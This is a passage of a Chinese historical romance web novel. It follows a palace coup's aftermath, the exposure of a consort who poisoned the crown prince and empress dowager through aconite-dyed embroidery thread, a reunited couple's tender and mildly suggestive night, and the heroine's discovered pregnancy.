趁崇陶收拾了东西去小厨房,纪云瑟悄然步出房外,叫上守在院子里的破竹,出了小院。 旭日东升,映着行宫的红墙金瓦,与这般朝阳格格不入的,是遍地的尸首和蜿蜒的血迹。 断刃残甲散落一地,隐隐可见昨夜厮杀的惨烈痕迹。宫门半掩,白袍银甲的羽林卫正在清理战场,察看地上的黑甲卫是否还有活口。 纪云瑟小心翼翼地跨着步子,绕开叛军的尸体,纵是用帕子遮住口鼻,但弥漫开的血污依然令人作呕。 从未见过的血腥场面让她脚步微颤,心下骇然,却仍强撑着往前走,纵使崇陶信誓旦旦,但这样惨烈的战况,她心中的不安不禁愈发浓烈。 行至碧霄宫外,她正要让破竹去寻个羽林卫打听消息,却忽的听见身后传来一个熟悉的声音, “卿卿……” 纪云瑟随即回头,顺着日光望去,只见一道熟悉的高硕身影立于宫道间,晨曦洒在他肩头,玄色衣袍染着斑驳血迹,清冷面容上亦沾着几点暗红,他的眉眼依旧沉敛,看向她的目光却温柔至极。 是晏时锦。 他快步朝她走来,步伐稳健有力。 还未到跟前,雪青色的人儿已经扑进了他怀里,直到实实在在地感受到他胸膛的起伏与温度,抓紧了他的衣襟,纪云瑟才确信他真的没事。 男子安抚地拍了拍她的后背,又不得不将她推开,道: “我身上脏,莫要沾染了血气。” 纪云瑟却没有松手,眼眶微微发红,声音带着颤意: “无妨。” 看到她眸中盈润的水光,晏时锦声音低柔了几分: “放心,我没事。” “你怎么出来了?现下外头不一定安全,我不是让你好好待着等我?” 纪云瑟仰起头,没好气道: “我就是担心你嘛?你不回来,我怎知你如何了?” 晏时锦眸色微动,心中一片暖意,口中却道: “你为何担心我?” 纪云瑟一怔,随即轻捶了他一拳: “自然是怕你死了,害我守寡!” 晏时锦握住她的手,贴在唇畔: “你愿意为我守寡?” 而不是学她姨母一般,养一院子的面首? 纪云瑟闻言一愣,随即气恼地瞪了他一眼: “你这人……说什么浑话?” “我不理你了!” 她作势就要走,却被男子一把拉入怀内,笑道: “放心吧,卿卿,我怎舍得你守寡。” 纪云瑟张开手抱住了他,所有不安的情绪骤然在此刻消散,她低低道: “你真的吓死我了。” 从晏时锦奉旨前往送亲起,她便每晚睡不安稳,听到夏贤妃说他不知所踪,更是担心不已,昨夜虽见了他一面,但心知他面对的是这般宫变的惨烈,她的心愈发揪紧。 她从未想过,自己竟会如此在意一个人的生死。 原来,他早已在不知不觉间占据了她的心,她不能失去他。 晏时锦捧起她的脸颊,在她的眉心落下一道吻: “我还有些事要处理,你好生回去歇着,等我。” 纪云瑟埋在他的怀里点点头,随即“嘶”了一声,眉头微蹙,抬手抚着额头,点了点他下颌的胡渣: “你扎到我了。” 晏时锦低低笑出了声,伸手摸了摸她的眉心,正待说话,却听身旁传来一个虚弱的声音: “指挥使,好了么?” “属下……嘶……” “可能…快熬不住了…” 纪云瑟才发觉有个浑身是伤的羽林卫被两人搀着跟在晏时锦的身后,透过他面上的血污,细细辨认之后,她捂着嘴惊呼道: “谢…谢统领……” “你…你怎么了?” 谢绩艰难地扯出一抹笑容,声音沙哑: “见过世子夫人。” “我…我没事…” 晏时锦略露几分不耐,向另外两人道: “还不先带他去寻太医!” 谢绩: “……” 明明是这位指挥使大人在路上拦下欲找太医看诊的他,说让他坚持一会儿,先将陛下在围场被蔚王刺杀的细节禀报清楚,他这才勉强撑着一口气,跟了过来。 要知道,他前日在围场为了救陛下就已经中了一箭,侥幸逃脱后,随便寻了些草药稍稍止血,一路快马加鞭去搬救兵。强行压制住肩头的伤势拖延了这许久,又有昨日一夜的带伤打斗,此刻终于到了极限。 谁知,这位上司碰上夫人,竟然忘了身旁还有他这个重伤之人! 纪云瑟见谢绩脸色苍白如纸,一副虚脱的模样,忙松开晏时锦,道: “你快去吧!别再误了谢统领寻太医。” 晏时锦看了一眼被搀扶着慢慢挪着步子的谢绩,安慰她道: “无妨,这点伤对他来说不算什么,他向来皮糙肉厚,扛得住。” 几步之外的谢绩: “……” 纪云瑟心知自己不能再耽误他的事了,赶紧推着他往前走,晏时锦拉着少女的手轻吻了一下,终是依依不舍地放开了她,向不远处的破竹吩咐道: “好生送夫人回去。” ~ 碧霄宫内,永安帝神色沉戾,手中紧紧攥着一张绣样,指节因用力而泛白,上面绣着的是一只栩栩如生的虎头,远去的记忆袭来,他的手忍不住颤抖,片刻后方接话,道: “你是说,这些绣线中,含有川乌之毒?” 沈绎道: “正是!” “所有的黑色绣线,皆是与川乌同煮了至少十二个时辰之后,染上的颜色,绣在当年皇长子用的被面和枕面上。” “皇长子不过是个几岁的孩童,每日受毒性熏染,日复一日,自然积重难返,终是不治夭折。” 永安帝眼神骤冷,声音低沉而压抑: “那为何当日没有循到一点蛛丝马迹?” 沈绎跪下俯首: “禀陛下,微臣的生父,正是当年的太医院正贺景天,父亲虽不常服侍皇长子,却在见了皇长子的遗容后有所怀疑。但因事关重大,且一直没有找到毒素置于何处,他不敢妄下定论,便暗中将皇长子日常所用之物都留了个样本。” “谁知,在他查询皇长子素来的脉案时,被夏贤妃的心腹发现,死于非命。” 沈绎看了一眼面如死灰的夏贤妃,从容道来: “后来微臣有幸入宫继承父志,在发现太后娘娘的沉年痼疾有异常后,便重新调查当年微臣父亲遗留下来的线索。” 永安帝手指深深掐进了掌心,眼中寒意更盛,带着凛冽的杀意: “你说什么?” “太后,也是中毒?” 沈绎道: “当微臣得知,当年太后娘娘经常夜里陪伴被病痛折磨,难以入睡的皇长子,就敢肯定,太后之疾,亦与此毒有关。” “只是,太后是成人,且不会时时日日接触,故而毒性发作缓慢,渐渐地毒性积累,才发展成痼疾。” “只可惜,微臣虽发现端倪,但奈何太后娘娘中毒太久,已无力回天,只能尽力压制毒性蔓延。” 永安帝缓缓起身,目光如利刃般扫过夏贤妃,落在沈绎身上: “为何不早说!” 沈绎叩首: “请陛下恕罪!微臣虽找到了父亲留下的这方绣样,但因此事牵连甚广,且微臣并没有足够证据指证,故而不敢贸然言说,只得暗中追查。” “直到近日,微臣终于找到了当年宫中为皇长子缝制寝面的绣娘的后人,知道她亦死于毒发,又找到了所用绣线的来源,才敢指认贤妃娘娘!” 夏贤妃跪坐在地,目光空洞,似被抽去了魂魄。永安帝怒极,行至她面前,一把揪住她的衣领,冷如霜雪的声音从唇齿间迸出: “朕自问不曾薄待你,为何你却如此狠心!竟然连个孩子都不放过!”“还害死了母后!” 夏贤妃定定地看着他,敛起一抹如往常般柔婉的笑意后,又立刻消散,到了此刻,她一点儿都不想抵赖,直言道: “陛下和太后素来重嫡子,有他在,我的檐儿还有什么指望?” “贱人!” 永安帝在她的脸颊上扫过一个巴掌,所有的愤意都凝聚在这掌上,夏贤妃顿时跌倒在地,她抚着唇角的血丝,默了默,终是跪地附首: “陛下,一切都是臣妾所为,臣妾一人做事一人当,但檐儿是无辜的,造反也是臣妾逼他的,他是陛下的亲儿子,请陛下饶他一命!” “还有昭儿,她……” 永安帝冷戾的眸光扫过来打断了她: “你做这些事时,又将他们置于何处?将整个夏氏一族置于何处?” 夏贤妃浑身一颤,不可置信地瘫软在地。 第112章 碧霄宫外日光热烈,似将所有的阴霾一并驱散。 沈绎缓缓步走下青石台阶,暖阳映着那张肃敛的眉目,他回头看了一眼巍峨的殿宇,心中似因这光明而松弛,一切终于结束。 早有一个高隽的身影立在宫门处等他,沈绎并不意外,停下脚步,微微拱手颔首: “指挥使。” 晏时锦看着遍地的狼藉,面上不露什么情绪,道: “若是你早日做这件事,何至于此?” 羽林卫的银甲在日光下泛着血色,他们将一具具尸身拖走,宫人们大桶大桶地泼着水,清洗血迹斑斑的青砖。 沈绎负手,随着他的目光看过去,面无表情地扫过那些残肢断臂,道: “其中的缘故,你我都清楚,否则,你既已知情,也不会隐瞒不报。” 晏时锦淡淡瞥他一眼: “你该知道,我可以护住她!” 沈绎直言: “诛九族之罪,你拿什么护?” “此次,她有救驾之功,是最好的机会。” 晏时锦蹙眉: “那这些人的性命呢?还有陛下与皇后的安危,你可曾想过?” “天不悯我,我为何要怜惜他人?” 沈绎目光微沉,冷笑一声看向他: “我不是你,一出生就在权力的巅峰,被万人景仰,受万众瞩目,自然比不了世子爷您的胸怀天下,我所做的一切,只是为了复亲人之仇,也让我在意之人好好活着!” 晏时锦不欲再与他争辩,只幽幽道: “她的事,不劳沈太医再费心!” ~ 最终,夏贤妃被赐腰斩,蔚王赵檐赐鸩酒,夏氏全族获罪,成年男子被赐斩刑,女子没为官奴。 此外,回宫后的永安帝对于皇长子和太后被毒害一事暴怒异常,下旨彻查此案,一时阖宫震惊,风声鹤唳,尚寝局和尚服局人心惶惶,还牵连到了负责采买的各省织造局。 纪云瑟回到国公府后方得知此事,也终于想清楚了祖母中毒的缘故。那时,太后时常夜里照顾身体有异,无法入睡的皇长子,祖母多半会入宫探望,也会一同到皇长子的寝殿中帮忙照看着,故而中毒。 虽然祖母所中之毒最轻,但她素来性子和软,很多时候身子有不适也是忍着,一直疏于治疗。而父亲总以为是她一时累着,并未放在心上,拖到后已是积重难返,无法医治。 这些,她也从沈绎的口中得到了证实。那日,夫子特地找她说明了前因后果。 原来,当年祖母突然发病,她无人可寻时找到沈绎,他便发现了祖母的症候有些不对,在医治的过程中又听说了祖母时常入宫,且太后亦有痼疾,结合这些奇怪的异样,和他用了许多方式都无效,直到以祖母是中毒的症状来医治后才开始有些许好转,沈绎判断,祖母由长期低量的毒素侵入后导致的慢性中毒。 沈绎察觉此事或许与当年皇长子夭折,其父太医院正贺景天暴毙一事有关,开始布局查贺景天的真正死因。 而后,他策划帮助纪云瑟逃出京城,也是为了下江南,查当年的那个绣娘。 之所以没有向她透露一星半点,是因此事事关重大,她知晓无益。 纪云瑟从未怀疑过沈绎会故意利用她,当年祖母病入膏肓是有父亲关心不足照料不周的缘故,能碰上沈绎替她老人家缓解症状已是万幸。 而太后虽然中毒比祖母更深,但因身份尊贵,有永安帝的悉心关照和太医们的全力医治,才熬了这许多年。 她要怨,只能怨父亲和魏氏,对祖母的疏忽。 谁知,从西山围场回京城的第二日,魏氏偷偷到了国公府的角门,找到效猗求见。 效猗小心翼翼地上前给她梳着鬓发,道: “姑娘,奴婢问清楚了,是侯爷出了事。” 纪云瑟正拈起一支珠钗,见她欲言又止,眉心皱了皱: “什么事?” 效猗抿了抿唇: “侯爷因涉毒害皇长子与太后一案,被羁押在刑部大牢,侯府已被查封,府中所有人等都被拘禁候审,就连在孟家的二姑娘都被抓了回来。” “夫人,她使了许多银子,才装成仆妇买通了守卫逃了出来,上门求姑娘。” 纪云瑟手一顿,珠钗从指间滑落,落在妆台上,发出清脆的一声响,她喃喃道: “父亲跟此案有何关系?” 效猗还未开口,她突然想到, “是织造局?” 织造局专司宫中锦缎供应, 纪筌当年依靠纪老夫人与太后的关系,在织造局谋了个差事。 如此看来,永安帝已经查清楚了毒物的来源,是通过织造局的渠道流入宫中。 效猗点头,道: “姑娘猜得不错。” 又小心翼翼问道: “姑娘可要见夫人?” 纪云瑟摆摆手: “不见!” 永安帝如今正在气头上,此案必然会严查到底,但凡与此案有所牵连者,都不会有好下场。 若不是因为她在西山围场派破竹传信出去救驾有功,她身为章齐侯府外嫁的女儿恐怕也与纪云惜一般要抓回府去,怎可能还在此好端端的坐着? 见效猗犹豫着不肯走,纪云瑟直言道: “你告诉她,世子忙于清除乱党,宫变后到今日,我也没见着他的面。他们的事,我什么忙也帮不上。” “况且,此事涉及皇长子和太后的性命,谁也无法求情。” “让她赶紧回府,该如何领罚便领罚。” “总之,不会要了他们的命。” 父亲不过是织造局一个小吏,没有实权,况他也没有这个胆量参与这样的大案,不过是得个失察之罪而已。 “像她这般化身逃出来,才是犯了欺君之罪!” 效猗应声而去,她自不希望侯府出事,但更不希望自家姑娘受牵连。姑娘已经为侯府承担了太多,如今好不容易有姑爷疼惜着,她应当为自己活一回了。 至暮色时分,外书房终于传来消息,陈嬷嬷笑着来报: “夫人,世子回来了。” 纪云瑟正坐在梳妆台旁解开了发髻,她想了想,披上一件外裳,慕着月色上了抄手游廊,出侧门后,守在书房外的伴吉有些惊异地看着从未这时过来的她,愣了片刻后方行礼,道: “禀夫人,世子正在沐浴。” 纪云瑟点点头: “我进去等他。” 伴吉会意,开了门后自动退下。 纪云瑟步入屋内,这算是她第二次到晏时锦的书房,里面的陈设基本没有什么变化。 她行至窗前的圈椅上坐下,随手拿起案桌上的一本书,翻了起来。 晏时锦沐浴过后走出来,便看见少女身着素色外裳,披散着如瀑般的乌发,一只手托着腮,倚在书案上。 是似曾相识的温馨场景。 第113章 身后的珠帘声响,纪云瑟回头,看见晏时锦披着月白中衣,腰带随意系了个松散的结,带着氤氲的水汽走了出来。 看向她的目光却是十足的诧异,带着一丝微不可察的心虚。 纪云瑟放下手中的书册,目光落在他半开的衣襟上,有水珠沿着发丝滑落至锁骨,流入胸前的沟壑。 她正打算提醒他将水擦干以免受凉,却见那厮竟然在瞧见自己盯着他看时,迅速将胸口的两片衣襟裹紧了。 纪云瑟: “……” 晏时锦又披上一件外衫,有一瞬间的欲言又止,方行至她面前,握住她的手,放松了神色,开口问道: “你怎么过来了?” 纪云瑟嗅到了一丝不对劲的气息,她看了他一眼,将他眸色中的异样收入眼底,起身绕过了他往后走了两步,四下里打量,道: “我为何不能过来?” “莫不是,你这里藏了什么人?” 晏时锦无奈笑了笑,正要开口,却被少女趁他不注意时,一把扯开他的衣衫。 果不出她所料,只见他的左胸靠近心口处,有一道新添的伤口,虽已止住血,开始结痂,但仍然透着一圈触目惊心的暗红,又细又深,应是利剑所刺。 若是再往下偏一点点,恐怕当场就会丧命! 晏时锦见她神色不对,眼眶已经开始泛红,忙将自己的衣裳拉好,握着她的手,哄道: “我没事,战场杀伐对我来说是常事,这点小伤算得了什么?” 纪云瑟咬着唇,心里又气又心疼: “这就是你躲着不见我的缘故?” 看这伤势的模样算下来受伤的时日,应该是在宫变之前,是他送赵沐昭和亲到南境时所受。 那日在行宫,她主动寻到他时,他就已经带着伤,却一直瞒她到此刻。而且在那之后,这厮一直以清除乱党余孽为由避而不归,就连回了京城之后,他亦是忙碌异常,日日歇在京卫司衙门。 她总觉得有些不对劲,故而今日听说他回府,特地过来寻他。 “是不是若我今日不来找你,你又想跑了?” 纪云瑟带着几分怒意地白了他一眼,强行将他的衣襟拉开,轻轻抚上了那道伤口,令人骇然,似犹带着淡淡的血腥气。 “到底怎么回事?何时受的伤?” “是不是在南境?” 那时,他将紫电遣回来保护她,又让青霜去接应厉书佑,剩自己孤身一人,要想从夏贤妃早就计划好的埋伏中脱身,谈何容易。 晏时锦看着她,目光中闪过一丝无奈,握着她的手,良久才低声道: “是。” “不过,没有伤及要害。如今,我不是好好的么?” 他不敢说出来,就是怕她这副模样。见纪云瑟瞪眼看着他,男子无奈轻轻抽了口气,求饶道: “我都这样可怜了,卿卿莫要生气,好不好?” 纪云瑟心中翻起莫名的情绪,轻轻叹了口气,哽咽了一声: “你不能这样。” “为了我,把自己置于险境。” “你这样,让我如何自处?” 男子将她拥入怀中,声音低沉而温柔: “可我更不能失去你。” 感受到她微颤的身子,晏时锦轻轻抚了抚她的后背,解释道: “夏氏将赵沐昭嫁去南越,除了向南越借兵之外,就是想将我引去南境,以便她在京中布局谋反。” “当时形势危急,我察觉了之后,知道夏氏和蔚王一定会在京城有所行动,他们如此忌惮我,而你是我的妻子,除了陛下和皇后,他们的另一目标定然是你。” “我不不能及时赶回来陪在你身边,又不放心别人,只能让紫电先行回来护着你。” 纪云瑟搂着他腰身的手不禁收紧了几分,眸中水雾氤氲,闷声道: “可你有没有想过,万一你有何不测,我要怎么办?” 晏时锦僵了僵,心底涌起沉沉的情愫,他的确想过,若是能够选择,他自私地希望自己走在她的前面,因为,他无法想象若是她先他而去,他要如何面对余生。 但他没有说出自己的这番私心,只是轻抚她的的发丝,覆唇吻了吻,低低笑道: “以后不会了,再也不会了。” 纪云瑟抹了一把泪,道: “药呢?我帮你上药。” 她环顾了四周,不等他答话,将搁在案桌上的伤药拿了过来,将他按坐在罗汉床上,小心地给他涂抹了一层,再一圈圈绑上纱布包扎起来,又道: “不许再有下次!” 晏时锦瞧着她认真的模样,唇角不自觉扬起一丝笑意, “遵命,夫人!” 纪云瑟忍不住又瞪了他一眼,轻叹了一口气,问 起了皇长子和太后被下毒一案。晏时锦直言道: “一个是皇长子,一个是太后,陛下震怒不已,如今皇后有孕在身,腹中又是嫡子,为了以儆效尤,杜绝再有心怀叵测之人,陛下已经言明,所有参与此案者,必然严惩绝不姑息!” 纪云瑟的手微微一顿,继续将最后一点纱布给他细心地打了个结,沉默了片刻后,低声道: “今日,母亲来找我了。” “我已经听说了纪侯的事,今日回来,也是打算问问你的意思。” 晏时锦似并不意外,拉着她坐在自己腿上,问道: “你想我去寻陛下求情么?” “因为你救驾有功,你爹也算不上主犯,最多是个失察之罪,陛下宽容,想必能网开一面。” 纪云瑟思索了许久,终是道: “不必,父亲犯了错,秉公处理就好。” 她一想到其中受害的两人,一个是从小抚养她长大的祖母,一个是给了她无私爱意的太后,心中便无法释怀。 况太后还是晏时锦的亲外祖母,怎能让他去求情?她不能这样自私。 若是当年织造局的人会用心细察每一样送入宫的料子绣线,太后就不会受病痛的多年折磨,祖母或许也能一直陪着她,看她出嫁。 父亲既涉了此案,也是他识人不明,做事不利,他咎由自取,就该承担应有的惩罚。 晏时锦倒是明白她的意思,顺了顺她的发丝,道: “你不用考虑我而大义灭亲。” “死者已矣,活着的人才是最重要的。” 纪云瑟垂眸道: “皇长子和太后娘娘,还有我祖母,也不能枉死。” 晏时锦点点头,安抚着握紧她的手。纪云瑟看着他黑眸泛起的柔光,眨了眨眼,起身道: “好了,我该走了。” 男子一把将她拉回怀里: “去哪儿?” 纪云瑟撇了撇嘴: “你不是要躲着我么?我遂了你的意呀!” 晏时锦轻笑了一声,识时务道: “夫人,我错了。” 纪云瑟还想再说什么,已被他低头吻住了唇,许久不曾有过的厮缠, 千言万语都衔入在这番来势汹汹里。 他的吻霸道而蛮横,不给她一点儿退避的余地,仿佛要将所有的思念碾进这阵狂风骤雨中。 纪云瑟伸手去推他,含糊不清地发出几个声音,却被他扣住了手腕,放在她后腰,变本加厉地擒住她的唇舌,揪住深吻,直到看她胸口剧烈起伏,眼眸泛红,气息紊乱,才稍稍松开给了她喘息的机会。 纪云瑟胀痛的唇瓣勉强吐出几个字: “这里是书房……” 晏时锦轻啄了啄她的唇瓣: “无妨。” 纪云瑟指了指他的胸口: “你还有伤……” 晏时锦伸手一勾,柔滑丝缎落地: “是你招惹的……” 窗外暮色渐浓,屋内烛火摇曳,映得一双身影交织在一处,如缠绵的藤蔓。 纪云瑟再也说不出一句话来,只能任由他将自己裹入一簇滚烫之中。 月余的相互思念尽付与这番势如破竹中,恨不得将对方融进身体里,玲珑的曲线在掌心来回逡巡,温热旖旎交织着喘息嘤咛,夜色将两人笼进更深的漩涡。 烛影婆娑,低吟浅喘间,时光仿佛凝固在这方寸之地,铺天盖地的吻再次袭来,将她的思绪彻底淹没在一片灼热的浪潮里,他如同一个循循善诱的领路人,带着她轻易就能抵达那销魂蚀骨的境地。 罗汉床上热气久久不散,男子搂着怀中柔弱无骨的少女,勾了勾她的鼻尖,道: “这段时日,想我了么?” 纪云瑟双颊泛热,有气无力地趴在他的胸口,指尖划过他腹部渗着汗粒的凹凸不平,故意道: “不想。” 晏时锦低笑一声,声音带着几分沙哑和宠溺: “小骗子。” 他的手收紧了些,揉了揉她的耳珠儿,道: “或许是为夫有些地方做得不好,让卿卿不太满意?” 纪云瑟“嗯?”了一声,诧异地抬眸看了过来,却被这厮轻薄一笑,眼底漾起一抹促狭地覆唇又吻了过来: “没事,我们趁热打铁,这次,要让卿卿印象深刻!” 纪云瑟还未反应过来,又被熟悉的滚烫抵住柔软,但她很快推开他的胸膛,喘息着道: “等等……” “不等……” 男子用唇瓣回应着她,这如何能等?在他面前,她这点推拒的力道尚不及一片落叶,被他轻易碾碎在掌心,宽慰她道: “你放心,我的伤早就好了,不会开裂。” “不过是怕吓着你,才忍着没有寻你。” 纪云瑟用力偏开头: “不是这个……” 她突然凑到了他的耳畔,轻语了一句,话音刚落,晏时锦的动作一顿,眸光微闪,似被她的话惊到了: “你说什么?” 纪云瑟看着他,郑重地点了点头。 二人用奇怪的眼神对视了一番后,晏时锦忽的松开了她,立刻给她披上了衣裳,将她整个人小心翼翼地放坐在一旁,自己也迅速穿好中衣,道: “真的么?” 第114章 “多久了?” 晏时锦的目光落在她的小腹,抬起了手靠近,却又颤颤地不敢落下,纪云瑟认真道: “从咱们成婚后到今日,一直没来。” 晏时锦将她的衣裳穿好,原本修长有力的指节此刻有些僵硬地帮她系上腰带,清隽的眉眼间是掩饰不住的慌乱: “你在这儿等着,我去找府医。” 纪云瑟拉住他,又道: “或许不是吧。” “从前,我也会这样,有时心里记着事,小日子便迟迟不来。” “毕竟,又没有其他的症候,我记得雪沅刚怀着小公主时,会孕吐的。” “你别紧张。” 晏时锦怎么可能不紧张,刚才那番久别重逢后的激烈历历在目,万一伤着她如何是好?这位世子爷罕见地面露几分懊恼: “抱歉!” 纪云瑟愣了愣,低低笑出了声: “你抱什么歉?” 晏时锦不再说话,继续给她穿上外衫后,自己也去衣柜寻衣裳,纪云瑟突然拍了拍脑袋,笑道: “我都忘了,曾经跟夫子学过把脉的,我自己先瞧一瞧。” 她挽起袖子,指尖搭在另一只手的腕间,微眯着眼,晏时锦的脚步停了下来,目光紧紧锁定她凝神静气的模样,屋内一时寂静,落针可闻。 片刻后,男子悄声挪着步子过来,问道: “如何?” 纪云瑟看向他,神色迷茫了一瞬后,扯出一抹尴尬的笑意: “我学艺不精,没把出来……” 晏时锦再也等不了,随手罩上外裳,出门吩咐道: “快把府医找来!” “立刻马上!” 纪云瑟带着几分埋怨地起身过去拍了拍他,指着罗汉床软垫上的狼藉,道: “就这样见外人?” 晏时锦看了一眼,二话不说,将人抱起,径直回了后院卧房,路上还不忘吩咐陈嬷嬷: “把书房收拾一下。” 陈嬷嬷看着自家夫人羞得几乎把整张脸深埋在主子的胸口,已明白了几分,低头掩住笑意,径直去了书房。 晏时锦将人先放在了靠窗边的长椅上,将半开着的槛窗关紧,生怕有风透进来,再给她斟了一杯热茶递过来,在纪云瑟刚要入口时,又忽的按住她的手,道: “等等!” “若是有孕,能喝茶么?” 纪云瑟噗嗤笑出声: “茶水而已,又不是酒。” 晏时锦突然顿住: “对,你前些时日还饮了酒……” “会不会有影响?” 他蹲下身,还是将手轻轻覆上了她的小腹,静静感受了片刻,素来从容淡定的神色此刻却透着些许慌颤: “有没有哪里不舒服?” 纪云瑟被他这副从未见过的模样逗笑了,摇摇头道: “没有。” 温热的掌心摩挲了片刻,晏时锦还是不放心自己的莽撞,问道: “刚才呢?我在里面时,会不会疼?” 他在成婚前也问过府医,若是有孕的话要注意些什么,他记得是说前三个月尽量不能同房,可他方才情难自已,又根本没有往有孕那方面想,如今酣畅淋漓之后,才后知后觉地慌了神。 纪云瑟一阵脸热地白了他一眼: “……” “我会不会疼,你没有感觉么?” “可是,你好像跟从前不一样。” 晏时锦仔细回想了一番,似迫切要得出结论,纪云瑟诧异道: “哪儿不一样?” 晏时锦看着她微红的脸颊,认真道: “更软,水更多。” “……” 纪云瑟一拳捶了过去: “你这次是连脑子一起受伤了?被人打傻了?” 第一次被人与“傻”这 个字联系在一起的国公世子有些无奈地抿了抿唇,但他不得不承认,此刻的思绪是混乱的。 幸好府医很快赶了过来,他看了一眼二人绯红的面色和褶皱凌乱的外衫,大概猜到怎么回事,忙打开药箱,将金疮药瓶取了出来,道: “世子放心,您的伤口已经结痂,就算有些许开裂,当无大碍。” 晏时锦指了指一旁的纪云瑟,道: “不是我,快给夫人诊脉!” 府医愣了愣,与刚才那不间断的思绪联系思索了一番,有些面色凝重地放下伤药,拿出了小软枕。 正默默感叹如今的年轻人为何如此不知轻重,竟然做出在房事后匆忙找大夫诊脉的荒唐行径,不料手指刚触到纪云瑟的寸关尺,他的神色却骤然一变。 晏时锦目光紧盯着府医不时压紧少女脉搏的有几分苍老的手指,掌心早已沁出一层薄汗。 府医紧蹙的眉头渐渐舒展,片刻后抬手站起身,脸上带着几分笑意,拱手道: “恭喜世子,少夫人脉象滑,正是喜脉。” 虽已有心理准备,晏时锦还是愣在了原地,耳畔嗡鸣了一瞬,仿佛整个世界都静了下来,他看向府医: “确定么?” 这是什么话?府医有些无奈地捋了捋花白胡子,道: “老夫从医几十年,当不会断错。” “夫人已有孕月余。” 纪云瑟倒是淡定许多,她垂眸看向自己的小腹,手心情不自禁地抚了上去,问道: “可是,为何我没有感觉?” 府医笑道: “因每人的体质有所不同的缘故,妇人孕期的反应也不尽相同,而且,夫人如今月份尚小,故而自己无法察觉,乃是再正常不过。” 晏时锦还是有些不放心,问道: “那我们刚才的剧烈动作,会不会有何影响?” 瞬间觉得无颜见人的纪云瑟抚着额头睨了他一眼,府医知道这位世子爷的性子,轻咳了两声,提起药箱,假装不明白他所谓何意,只道: “世子放心,夫人的脉象强劲有力,胎相极好。” “且健康的妇人在孕中,也当适量运动,对大人和胎儿均有利。” “好,多谢李太医。” 纪云瑟生怕这厮还要问出什么虎狼之辞,忙唤了守在门口的崇陶将府医送出门去。 屋内只剩下年轻的夫妇俩,晏时锦终于恢复了正常的理智,他吩咐崇陶和效猗上了热水过来,亲自抱着小孕妇去洗澡。 又记起从前听府医提到过,孕妇尽量不要泡澡太久,更不能用过热的水,便按照这个要求将水温调至适宜,亲手为她迅速擦洗完用大浴帕将她裹住,抱到榻上,帮她穿好寝衣后,小心盖上被衾。 纪云瑟靠在床榻上,看着他忙前忙后的身影,心中泛起一阵无奈,这还是那位素来雷厉风行,杀伐果决的世子爷么? 半晌之后,男子终于忙碌妥当,自己冲了个澡,仔细擦干了身上的所有水汽,才掀开被衾躺到她身边,小心翼翼地将她揽入怀中。 纪云瑟低低笑了笑: “只是怀个孩子,哪里就这般娇贵了?” “不是娇贵,是我想为你做一些事。” “因为你会很辛苦。” 晏时锦落了一道不带任何情,欲的吻在她的额间,掌心再次覆上她的小腹,静静地感受那片不断起伏的柔软,有难以言喻的情感,在这方小小的身体里,有了一个小生命,是他们两个血脉相连的见证。 ~ 纪云瑟有孕的消息第二日传遍了整个国公府。 庄氏前脚还在跟妯娌闲话抱怨,感叹其他几个儿孙长大娶了媳妇后都不用她费神,反倒是从小没让她操过心的长孙,如今样样惹她烦。 前些年被皇帝派去那边陲苦寒之地历练,整日里出生入死的害她担心就罢了,回来后也没见安生过几日,又给他派了许多差事,日日见不到人,差点连亲事都耽误了! 说到他的亲事,庄氏更是连连叹气,她那相貌人品样样拔尖的嫡长孙,居然娶了那样一个出身的媳妇,这不,那纪家又卷入了谋害皇长子和太后的案子里,如今阖家下了狱,看陛下这番雷厉风行的动作,还不知日后如何处置呢! 碰上这样的姻亲,让他们堂堂晏国公府如何自处? 万氏见状,在一旁笑着劝道: “那倒不至于,云瑟这回还因救驾有功,被陛下褒奖了,这不算是给子睿长脸了嘛!” 庄氏轻哼一声,就她那个长孙在媳妇面前一副不值钱的模样,什么长不长脸的,他媳妇就算一巴掌扇过去,她那长孙恐怕还得凑过脸去接着呢! 故而陈嬷嬷领着府医过来禀报时,庄氏费了好大的劲儿才绷住脸上表情,她怔了半晌,看向府医: “确定了么?” “这么快?” 他们成婚才不过一个多月而已。府医恭敬答道: “禀老夫人,大少夫人确已有一个月的身孕。” 庄氏的神色明显松了松,又问道: “可知是男是女?” 府医心知这位老夫人的心思,道: “如今月份尚小……” 庄氏打断他,道: “别糊弄我,我知道,你们有经验的都能瞧出几分。” 府医顿了顿,终是躬身回道: “若是在下没有看错,老夫人您定会心想事成。” 庄氏闻言,唇角不自觉上扬,笑意明显,连带着万氏都笑出声来,道: “这可是天大的喜事呐!” 几个妯娌纷纷起身说着恭喜,皆道: “这回,大嫂得偿所愿了!” “别的不说,看子睿媳妇的模样,若真是生个女娃娃,该有多好看呐!” 庄氏眉眼舒展,但还是谨慎地摆摆手,道: “欸,如今月份尚早,先别张扬,还是小心些好。” 说罢,即刻吩咐人去将库房里孕妇能用的补品都寻出来,让府医瞧着哪些适合纪云瑟的体质,都给她送过去。 又让万氏再挑几个妥当的人去晏时锦的院里伺候着,务必仔细照料,若有半点闪失,唯他们是问! 万氏清楚这位婆母的性子,立即领命而去,庄氏也不留妯娌几个了,让她们各自散去后,立刻唤了李嬷嬷道: “走,去瞧瞧子睿媳妇。” 【终章】 第115章 清珩院的喜讯传出,整个晏家轰动,几乎人人都要来看望,晏时锦尚未发话去挡,庄氏先一步将人直接拦在了国公府门外,只道是胎没坐稳,不宜见外人,心意到了就好,莫要扰了小孕妇养胎。 “祖母就是只许州官放火,不许百姓点灯。” 纪云瑟默默感叹了一句。 她瞧着堆了一屋子的各类补品,和一些珠翠玩器,想到庄氏日日亲自过来,从开始的端着不屑如完成任务一般的探视,到一见她的小腹就忍不住弯起的唇角说话也软下了强调,再到今日一见面就快步上前按住了欲起身行礼的她,拉着她的手问了好一通胃口如何?睡眠如何?晏时锦可有惹她生气之类的话。 好似她们之间从未有过什么嫌隙和不愉快。 虽然纪云瑟明白,这不过是看她肚子里的娃娃的面子,但毕竟老太太从前并没有做什么伤害她的事,如今一把年纪主动示好,而她又拿人手短,便一笑泯了恩仇,安心享受这一份腹中孩儿给她带来的温情。 她的目光落在手中的一个雕工精致,油润细腻、白璧无瑕的羊脂玉长命锁上,一旁的紫檀匣子里还装着一只珠宝晶莹、黄金灿灿的璎珞。 纵使跟着苏滢见了许多世面,还是感叹两样物什的珍贵。 就连从宫里跟着先长公主出来的陈嬷嬷看见后,眼睛都瞪得大大的,忍不住道: “这怕是老太太当年陪嫁的压箱底的宝贝呐,奴婢活了这么大的年岁,还真没见过这样的好东西。” 纪云瑟 笑了笑,吩咐效猗: “好好收起来。” 